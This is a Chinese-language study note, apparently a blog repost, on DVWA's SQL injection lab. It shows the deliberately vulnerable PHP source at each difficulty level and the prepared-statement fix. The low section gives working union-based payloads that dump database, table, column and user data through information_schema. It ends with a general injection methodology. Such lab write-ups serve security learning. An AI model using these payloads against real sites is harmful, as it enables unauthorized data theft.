首页 > 代码库 > DVWA学习笔记--06--SQL Injection

DVWA学习笔记--06--SQL Injection

0x00

终于到sql注入了

利用应用中传递的参数 ,将恶意sql语句注入到数据库执行

高危害的漏洞

dvwa里的这个指的是回显注入

 

 

0x01

low

在low下的全部源码

 

<?php

if( isset( $_REQUEST[ Submit ] ) ) {
    // Get input
    $id = $_REQUEST[ id ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( <pre> . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . </pre> );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>

 

$query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;"
可见是一个字符型的注入
代码里并未做任何的过滤

就算不看源码  也可以通过1 and or ‘ 这些组合来测试判断是哪种类型的注入

整个的思路流程最后会整理一下,这里就不多说

字符型注入可以用#在最后闭合

或者使用--+ (加号代表空格 在dvwa的low下 如果是框里就用空格替换+)

1‘order by 2#          确认字段数(其实看源码可知为两个字段,这里当做不知道源码的测试)

1‘union select 1,2#       爆出显示位

技术分享

1‘union select 1,database()#      爆出当前数据库名(版本啊用户名那那些就先省略了)

技术分享

 

在mysql5.0之后 有一个information_schema元数据库 有着MySQL服务器所有数据库的信息 可以利用它查询其他数据库的信息

1‘union select 1,group_concat(schema_name) from information_schema.schemata#      爆出所有数据库

技术分享

1‘union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#  爆出当前数据库下所有表

(回显多条数据的情况写可以用group_concat()来全部爆出  如果只回显一条的话可以用limit语句)

 技术分享

1‘union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘#  爆出users表里的所有列

技术分享

1‘union select 1,group_concat(user) from users#      查询列里面的信息

技术分享

这样就算成了

 

0x02

medium

在medium下的部分源码

if( isset( $_POST[ Submit ] ) ) {
    // Get input
    $id = $_POST[ id ];
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( <pre> . mysqli_error($GLOBALS["___mysqli_ston"]) . </pre> );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
}

可见medium下增加了mysqli_real_escape_string()函数对特殊字符转义  过滤参数id

但是参数并未用单引号包裹起来..所以其实并没有什么用

同时改成了post提交的参数  前端也对参数进行了限制  但是仍然阻止不了修改数据包

技术分享

技术分享

因为id没被单引号包裹 所以是一个数字型注入

因为是有报错显示的,同样也很轻易的可以判断出来

然后后面的注入流程就和low类似

不同在于不需要单引号闭合以及注释

就不重复了

 

 

0x03

high

在high下的全部源码

<?php
if( isset( $_SESSION [ id ] ) ) {
    // Get input
    $id = $_SESSION[ id ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( <pre>Something went wrong.</pre> );
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}
?>

1.首先可见 id的传输方式变成了利用session来传递

但是无所谓 并未做任何的过滤防护

2.其次输入参数的页面和输出结果的页面分开,这样的跳转应该是为了防止一些自动化注入的工具

但是对于手工测试并无影响

3.最后在于"SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";这个语句

和low一样id被单引号包裹  其次用limit 1 进行了限制

一次只能显示一条数据 无法回显多条数据

 

但是字符型注入构造的语句最后的注释符#和--+会把limit 1给注释掉

所以仍然会返回多条语句

而且就算限制了返回语句条数

同样可以用limit x,y 这个语句来逐条查找  x代表从第几条开始 y代表返回几条

 

所以注入的过程和low相似

就不重复写了

 

0x04

 

impossible

在impossible下的全部源码

<?php
if( isset( $_GET[ Submit ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );

    // Get input
    $id = $_GET[ id ];
    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = http://www.mamicode.com/$db->prepare( SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1; );
        $data->bindParam( :id, $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ first_name ];
            $last  = $row[ last_name ];

            // Feedback for end user
            $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

和之前主要有两个区别

1. PDO::PARAM_INT  这是一个预定义常量为整型

bindParam()函数的作用是绑定一个参数到指定的变量名

整个的作用应该是要求id必须为整型

2.其次就是( $data->rowCount() == 1 )

当查询返回的结果数量为1的时候才能给输出的first和last赋值

 

这样限制就比较难进行注入

 

 

 

 

0x05

最后扯扯蛋

想想一般这种注入的思路

找到注入点后就先判断注入类型

(不仅只字符数字 也可以是盲注回显报错等等)

然后测试过滤了那些东西

and or from where union select order by limit 等等

‘ "# % () * <>  /**/ / \ |- + ., 等等(随便乱写的几个)

然后构造payload就好了

 

sql注入还是很大一个坑...这些不过只是冰山一角

 

DVWA学习笔记--06--SQL Injection